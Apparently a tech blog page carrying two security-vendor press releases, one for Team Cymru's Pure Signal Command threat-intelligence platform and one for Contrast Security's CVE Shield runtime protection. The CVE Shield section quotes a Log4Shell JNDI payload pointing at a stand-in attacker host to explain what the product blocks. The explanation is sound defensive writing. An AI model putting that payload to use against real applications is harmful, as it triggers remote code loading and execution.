Team Cymru today announced Pure Signal™ Command, the connected operating environment for analysts, security teams, applications, and AI agents to access and act on Team Cymru’s internet infrastructure intelligence. Command unlocks Team Cymru’s globally observed threat intelligence data by connecting telemetry, investigative and attack surface management capabilities, expert analysis, and machine-native access within a common architecture. The result is a continuous path from discovery to action, eliminating fragmented workflows, preserving investigative context, and accelerating active threat disruption.
Command is queryable in natural language and draws from source-proximate, verified data with a clear provenance giving both real-time information and the historical context to inform current and future actions. Drawing on the Pure Signal™ Model Context Protocol (MCP) server, Command incorporates agentic AI capabilities while maintaining the option of human-in-the-loop review, ensuring continued accuracy and scalable threat intelligence.
“Pure Signal™ Command is transforming how we identify and stop threats,” said Tim Jones, Chief Technology Officer, Team Cymru. “Instead of having to combine a patchwork of tools or switch between workflows, users can access all of Team Cymru’s global telemetry, including current and historical data, so they get full and continuous context while evaluating the next steps. And because Command provides validated, current intelligence in a machine-native ecosystem, AI agents can ingest vast amounts of information. This will help defenders turn external visibility into action faster, giving them back the time to investigate before compromise, block before disruption, and act before damage is done.”
Command provides access and improved operational capabilities for customers (and customers’ agents) in a connected operating environment with continuous context and integrated workflows.
In addition to continued access to Team Cymru’s globally observed, validated data and findings, and visibility into internet threats across infrastructure, behavior, relationships, malware, and time, analysts can now operate across every phase of the threat intelligence lifecycle — Discover, Enrich, Investigate, Attribute, Operationalize, Respond — within Command. This streamlined access enables analysts to act without the friction of switching between contexts, so they can spend their time on what matters: addressing threats and directing operations.
Tracking Adversary Behavior Across the Internet with Global Data and Deep Research
The machine-operable infrastructure of Command provides a comprehensive operational hub and visibility into adversary behavior, identifying threats and offering the latest, most up-to-date intelligence on how to stop them. In addition to having the largest global NetFlow data set, Command ingests data from BGP / Routing, partner telemetry, WHOIS, malware intelligence, and other sources to provide critical visibility into external threats and indicators of compromise, backed by expert analysis. Command provides human and agentic practitioners with a continuous, actionable view of adversary infrastructure, relationships, and movement across the internet, tracking threats even as the infrastructure is created, moved, and absorbed.
Command is powered by Team Cymru’s globally observed network telemetry, including more than 400 billion daily internet connections, 1,000+ data sharing partnerships across more than 140 countries, and over 2,000 behavioral tags curated by the company’s S2 Research Team. This foundation enables security teams to detect adversary infrastructure as it emerges, attribute activity to specific campaigns, and respond with context that automated feeds alone cannot replicate.
Command integrates the full capabilities of the rest of the Pure Signal™ suite and Total Insights Feed, including:
- Investigation and behavioral enrichment with analyst-curated context, campaign mapping, and infrastructure attribution
- Continuous attack surface intelligence that monitors internet-facing infrastructure and surfaces adversary staging activity before threats cross the perimeter
- Deep investigative intelligence for threat hunting, third-party exposure analysis, and continuous monitoring of external-facing assets
- Operationalized, structured threat intelligence enriched with telemetry-backed behavioral context for direct integration with SIEM, SOAR, and response workflows.
Internet-Scale Telemetry for Human and Agentic Workflows
With Command, CISOs gain observable, defensible risk data backed by real internet telemetry, board-ready metrics, and ROI clarity. Threat hunters can pivot across IP, ASN, domain, and certificate data without losing investigative thread. SOC and IR teams receive investigation-ready context with every alert, supported by 2,000+ analyst-curated behavioral tags and full integration with Splunk, Microsoft Sentinel, Cortex XSOAR, and Cyware.
Pure Signal™ Command is designed to serve the full operational team, including AI agents, extending Pure Signal™ from human investigation workflows into agent-driven operational environments and supporting current and future investigative workflows.
and, with its integrated capabilities and proactive insights, to give defenders the tools to rapidly fight back against threat actors. Command’s integrated workflows, agentic AI capabilities, and insights help organizations discover threats before impact and move to implement protective measures at scale.”
Availability
Pure Signal Command is available today. To request a strategic briefing or live technical demonstration, visit https://www.team-cymru.com/pure-signal/command-threat-intelligence-platform.
Contrast Security launches CVE Shield
Posted in Commentary with tags Contrast Security on July 29, 2026 by itnerdContrast Security today announced Contrast CVE Shield to stop the wave of AI-generated exploits made possible by frontier models like Claude Mythos.
Contrast CVE Shield operates inside the running application, where it detects, monitors and prevents exploitation of known vulnerabilities. Legitimate library functions continue, while security teams get evidence showing which vulnerabilities are present, which are active, which are being attacked and which are kept safe.
Using a runtime microsandbox for each supported CVE, CVE Shield is a compensating control that gives organizations immediate protection while they test and deploy the permanent fix.
In April 2026, Anthropic reported that its Claude Mythos Preview research system could take a public CVE identifier and the corresponding Git commit and autonomously produce a working exploit inexpensively within a day. Within five weeks, OpenAI and Microsoft disclosed comparable vulnerability research systems.
Built for AI-speed exploitation
Traditional CVE management identifies the 5% of CVEs that actually matter in production and creates a remediation ticket. Teams still have to determine whether the vulnerable code is actually running, reachable, exploitable, and connected to a sensitive asset — and then protect the application while they test and deploy an update.
CVE Shield adds runtime protection while teams patch. Instead of trying to recognize every malicious payload, it blocks the capabilities an exploit must use to succeed, such as native code execution, remote class loading, and arbitrary file writes.
Because CVE Shield controls behavior rather than relying on payload signatures, new variations of a supported exploit hit the same protected boundary. No new signature is required.
Even when an attacker reaches vulnerable code with a working exploit, CVE Shield can stop the exploit from completing its intended action.
-Katie Norton, Senior Research Manager at IDC
The Log4Shell example
Let’s use Log4Shell as an example, because it is the most widely known CVE.
Log4Shell, tracked as CVE-2021-44228, is exploited by an attacker slipping a token like ${jndi:ldap://attacker.example/x} into request data that gets logged by an application or API, which triggers an outbound lookup that loads and runs attacker-controlled code.
CVE Shield wraps the vulnerable Log4j methods, so normal logging continues while the capabilities the exploit needs, the outbound JNDI lookup, remote class loading and process execution, are denied. The lookup never reaches the attacker’s server and the malicious class never loads.
The vulnerable component keeps working. The exploit does not.
Engineered for production
CVE Shield is installed on your workloads with a single command and immediately begins identifying and protecting against CVE exploit attempts. It requires no additional appliance, proxy or sidecar.
CVE Shield is designed for maximum performance. There is no impact unless a CVE is exploited, and exploit prevention adds only 12 nanoseconds, making CVE Shield’s performance impact almost immeasurable. It can be easily installed on a single host or across a large, diverse infrastructure.
Once the application starts, CVE Shield inventories its libraries and activates shields for vulnerable versions that match. The Contrast Agent Operator automates deployment across Kubernetes and OpenShift workloads without per-service code or Dockerfile changes.
CVE Shield also replaces vulnerability assumptions with runtime evidence. It shows security teams which vulnerable libraries are present, which vulnerable code paths are being exercised and when exploitation is attempted.
Teams can focus remediation efforts on real application risk rather than treating every entry in the backlog as equally urgent. Contrast provides dynamic risk scores for CVEs based on architectural, threat, and business context from production environments.
Availability
CVE Shield is part of Contrast Application Detection and Response. Its initial rollout brings localized CVE sandboxing to 60 critical Java vulnerabilities, including Log4Shell, Spring4Shell and Apache Commons Collections deserialization vulnerabilities. Contrast will expand coverage to additional high- and critical-severity CVEs, with new protections delivered continuously as vulnerabilities emerge. Support for Go, Node.js, .NET and Python is planned for the second half of 2026.
CVE Shield will be available on August 3, 2026, with a free tier, enabling AppSec teams to deploy to Java applications within minutes and gain immediate runtime visibility into active, supported CVEs.
Before August 3rd, you can sign up for the Contrast CVE Shield waitlist. After August 3rd, visit the Contrast CVE Shield registration page.
Key takeaways
Leave a comment »